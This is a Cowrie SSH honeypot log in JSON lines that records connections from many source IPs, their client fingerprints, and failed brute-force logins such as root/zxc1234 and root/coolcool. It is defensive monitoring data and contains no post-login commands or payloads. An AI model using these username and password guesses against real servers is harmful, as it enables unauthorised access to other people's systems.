{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:27.359988Z","src_ip":"45.148.10.152","session":"0a2a30edfe8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:27.725075Z","src_ip":"45.148.10.152","session":"0a2a30edfe8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37148,"dst_ip":"159.203.135.109","dst_port":22,"session":"5957041088bb","protocol":"ssh","message":"New connection: 80.66.85.226:37148 (159.203.135.109:22) [session: 5957041088bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:29.990889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:29.996838Z","src_ip":"80.66.85.226","session":"5957041088bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:30.081893Z","src_ip":"80.66.85.226","session":"5957041088bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc1234","message":"login attempt [root/zxc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:30.339213Z","src_ip":"80.66.85.226","session":"5957041088bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:31.428633Z","src_ip":"80.66.85.226","session":"5957041088bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":55752,"dst_ip":"159.203.135.109","dst_port":22,"session":"c16e615cbeaf","protocol":"ssh","message":"New connection: 89.108.118.91:55752 (159.203.135.109:22) [session: c16e615cbeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:08:33.767583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:08:33.772775Z","src_ip":"89.108.118.91","session":"c16e615cbeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:08:33.906758Z","src_ip":"89.108.118.91","session":"c16e615cbeaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cocalar","message":"login attempt [root/cocalar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:08:34.308228Z","src_ip":"89.108.118.91","session":"c16e615cbeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:08:35.446559Z","src_ip":"89.108.118.91","session":"c16e615cbeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52564,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a96466c252b","protocol":"ssh","message":"New connection: 176.32.39.21:52564 (10.17.0.5:22) [session: 0a96466c252b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:09:46.481919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:09:46.486017Z","src_ip":"176.32.39.21","session":"0a96466c252b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:09:50.325161Z","src_ip":"176.32.39.21","session":"0a96466c252b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:09:53.398054Z","src_ip":"176.32.39.21","session":"0a96466c252b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:06.482947Z","src_ip":"176.32.39.21","session":"0a96466c252b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38046,"dst_ip":"10.17.0.5","dst_port":22,"session":"e11e456b0aff","protocol":"ssh","message":"New connection: 2.57.121.25:38046 (10.17.0.5:22) [session: e11e456b0aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:10.591411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:10.606279Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:10.708600Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120183","message":"login attempt [user/120183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:11.189310Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1147","message":"login attempt [user/1147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:12.293842Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111285","message":"login attempt [user/111285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:13.399588Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111177","message":"login attempt [user/111177] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:14.505295Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101994","message":"login attempt [user/11101994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:15.616791Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:10:16.736667Z","src_ip":"2.57.121.25","session":"e11e456b0aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41822,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c8e12e60f7","protocol":"ssh","message":"New connection: 103.149.170.125:41822 (159.203.135.109:22) [session: f9c8e12e60f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:11:29.840332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:11:29.845122Z","src_ip":"103.149.170.125","session":"f9c8e12e60f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:11:30.103817Z","src_ip":"103.149.170.125","session":"f9c8e12e60f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011994","message":"login attempt [root/01011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:11:30.881611Z","src_ip":"103.149.170.125","session":"f9c8e12e60f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:11:32.142819Z","src_ip":"103.149.170.125","session":"f9c8e12e60f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":43110,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4a7b00a2ad3","protocol":"ssh","message":"New connection: 103.122.221.179:43110 (159.203.135.109:22) [session: e4a7b00a2ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:18.410513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:18.415789Z","src_ip":"103.122.221.179","session":"e4a7b00a2ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:18.676129Z","src_ip":"103.122.221.179","session":"e4a7b00a2ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coolcool","message":"login attempt [root/coolcool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:19.457670Z","src_ip":"103.122.221.179","session":"e4a7b00a2ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:20.719790Z","src_ip":"103.122.221.179","session":"e4a7b00a2ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43122,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a789d03311","protocol":"ssh","message":"New connection: 103.176.20.57:43122 (10.17.0.5:22) [session: f2a789d03311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:23.152954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:23.157858Z","src_ip":"103.176.20.57","session":"f2a789d03311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:23.407552Z","src_ip":"103.176.20.57","session":"f2a789d03311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjybj","message":"login attempt [root/fynjybj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:24.405402Z","src_ip":"103.176.20.57","session":"f2a789d03311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:12:25.657621Z","src_ip":"103.176.20.57","session":"f2a789d03311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23868,"dst_ip":"10.17.0.5","dst_port":22,"session":"b894162690fa","protocol":"ssh","message":"New connection: 194.59.206.2:23868 (10.17.0.5:22) [session: b894162690fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:26.057389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:26.062775Z","src_ip":"194.59.206.2","session":"b894162690fa","protocol":"ssh"}
